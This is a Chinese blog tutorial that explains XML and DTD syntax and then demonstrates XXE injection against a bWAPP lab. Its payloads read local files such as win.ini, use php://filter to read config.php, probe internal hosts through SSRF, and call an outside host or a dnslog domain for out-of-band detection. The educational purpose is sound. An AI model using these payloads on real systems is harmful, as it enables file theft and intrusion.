细说XXE漏洞

XXE漏洞

Posted by 看不尽的尘埃 on September 13, 2019

XML教程

XML简介

  • XML 指可扩展标记语言(EXtensible Markup Language)。
  • XML 是一种很像HTML的标记语言。
  • XML 的设计目的是传输数据,而不是显示数据。
  • XML 标签没有被预定义,因此需要自行定义标签,具有自我描述性。
    • HTML标签是预定义好的,比如<h1><p>标签等等,XML标签是自行定义的标签

XML和HTML区别:

  • XML 是用来传输和存储数据
  • HTML 是用来显示数据

XML文档树结构

下面是一段简单的XML:

<?xml version="1.0" encoding="UTF-8"?>
<shop>
<goods>noodles</goods>
<price>10</price>
</shop>

这一行是XML 声明。它定义 XML 的版本(1.0)和所使用的编码(UTF-8 ):

<?xml version="1.0" encoding="UTF-8"?>

这一行描述的是根元素:

<shop>

接下来两行描述的是跟的2个子元素:

<goods>noodles</goods>
<price>10</price>

最后一行定义跟元素的结束:

</shop>

总之,XML 文档必须包含根元素。该元素是所有其他元素的父元素。 XML 文档中的元素形成了一棵文档树。这棵树从根部开始,并扩展到树的最底端。 所有的元素都可以有子元素。

XML语法

  • XML 声明
    • <?xml version="1.0" encoding="utf-8"?>
  • XML 文档必须包含根元素
  • 所有的 XML 元素都必须有一个关闭标签
  • XML 标签对大小写敏感,比如<root>和`标签是不同的
  • XML 必须正确嵌套
    • <b><i>This is test</i></b>
    • 由于 <i> 元素是在 <b> 元素内打开的,那么它必须在 <b> 元素内关闭
  • XML 属性值必须加引号
  • XML 中的注释与HTML相同
    • <!-- This is a comment -->
  • XML 中,连续多个空格会被保留,而不会像HTML一样合并为1个空格
  • XML 以 LF 存储换行
  • XML的实体引用
    • 在 XML 中,一些字符拥有特殊的意义,如果您把字符 “<” 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始,这时候就需要实体引用。

在 XML 中,有 5 个预定义的实体引用:

| &lt;   | <   | 小于号   |
|:----|:----|:----|
| &gt`;   | >   | 大于号   |
| &amp;   | &   | and符号   |
| &apos;   | '   | 单引号   |
| &quot;   | "   | 双引号   |

XML元素

XML元素命名规则:

  • 名称可以包含字母、数字以及其他的字符,无保留字
  • 名称不能以数字或者标点符号开始
  • 名称不能以字母 xml(或者 XML、Xml 等等)开始
  • 名称不能包含空格

XML属性

属性难以阅读和维护。请尽量使用元素来描述数据。而仅仅使用属性来提供与数据无关的信息。

  • 属性不能包含多个值
  • 属性不能包含树结构
  • 属性不容易扩展

    XML 验证

    DOCTYPE 声明是对外部 DTD 文件的引用:

    <!DOCTYPE note SYSTEM "Note.dtd">
    

    XML DTD

    DTD 的目的是定义 XML 文档的结构,它使用一系列合法的元素来定义文档结构:

    <!DOCTYPE note
    [
    <!ELEMENT note (to,from,heading,body)>
    <!ELEMENT to (#PCDATA)>
    <!ELEMENT from (#PCDATA)>
    <!ELEMENT heading (#PCDATA)>
    <!ELEMENT body (#PCDATA)>
    ]>
    

DTD教程

简介

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部的 DOCTYPE 声明

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

<!DOCTYPE root-element [element-declarations]>

外部文档声明

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

<!DOCTYPE root-element SYSTEM "filename">

DTD元素

在一个 DTD 中,元素通过元素声明来进行声明。

声明一个元素

语法:

<!ELEMENT element-name category>
或
<!ELEMENT element-name (element-content)>

声明一个带有任何内容的元素

语法:

<!ELEMENT element-name ANY>

DTD实体

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量。 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

  • 实体引用是对实体的引用
  • 实体可在内部或外部进行声明

    一个内部实体声明

    语法:

    <!ENTITY entity-name "entity-value">
    

    实例: ``` <!ENTITY writer “Donald Duck.”> <!ENTITY copyright “Copyright runoob.com”> XML 实例:

&writer;©right;

### 一个外部实体声明
语法:

<!ENTITY entity-name SYSTEM “URI/URL”>

实例:

<!ENTITY writer SYSTEM “http://www.runoob.com/entities.dtd”> <!ENTITY copyright SYSTEM “http://www.runoob.com/entities.dtd”> XML example:

&writer;©right;

## 预备知识

XML语言基础

## 简介

XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

## 验证漏洞

检测XML是否会被解析

<!DOCTYPE ANY[   <!ENTITY test “aaaaa”>   ]> 

&test;Any bugs?



![图片](../../../../img/xxe_1.png)

检测是否支持外部实体:

- SYSTEM 
- % remote
- %remote;

<!DOCTYPE ANY[   <!ENTITY % remote SYSTEM “http://192.168.0.6:8888”> %remote; ]> 

&remote;Any bugs?



![图片](../../../../img/xxe_2.png)



![图片](../../../../img/xxe_3.png)

DNSLOG

<!DOCTYPE ANY[   <!ENTITY % remote SYSTEM “http://1ynlwb.dnslog.cn”>   %remote; ]> 

&xxe;Any bugs?



![图片](../../../../img/xxe_4.png)

## 利用漏洞

协议列表:
php支持的协议:
![图片](../../../../img/xxe_5.png)
file协议需要知道绝对路径
php协议读php文件经过base64编码,php://filter/read=convert.base64‐encode/resource=config.php

### 读取文件

有回显

<!DOCTYPE ANY[   <!ENTITY readfile SYSTEM “file:///c:/windows/win.ini”>   ]>

&readfile;Any bugs?



![图片](../../../../img/xxe_6.png)

无回显:

s <!DOCTYPE ANY[   <!ENTITY % remote SYSTEM “http://192.168.0.6/testLinux.xml”>   %remote;  ]> 


### SSRF探测文件

<!DOCTYPE ANY[   <!ENTITY test SYSTEM “http://127.0.0.1:80/index.php”>   ]>

&test;Any bugs?

存在文件:
![图片](../../../../img/xxe_7.png)
不存在:

Warning: simplexml_load_string(http://127.0.0.1:80/index1.php): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in D:\phpStudy\PHPTutorial\WWW\BWAPP\bWAPP\xxe-2.php on line 32

Warning: simplexml_load_string(): I/O warning : failed to load external entity “http://127.0.0.1:80/index1.php” in D:\phpStudy\PHPTutorial\WWW\BWAPP\bWAPP\xxe-2.php on line 32 An error occured ```

图片

命令执行

expect协议,需要安装php扩展才可以。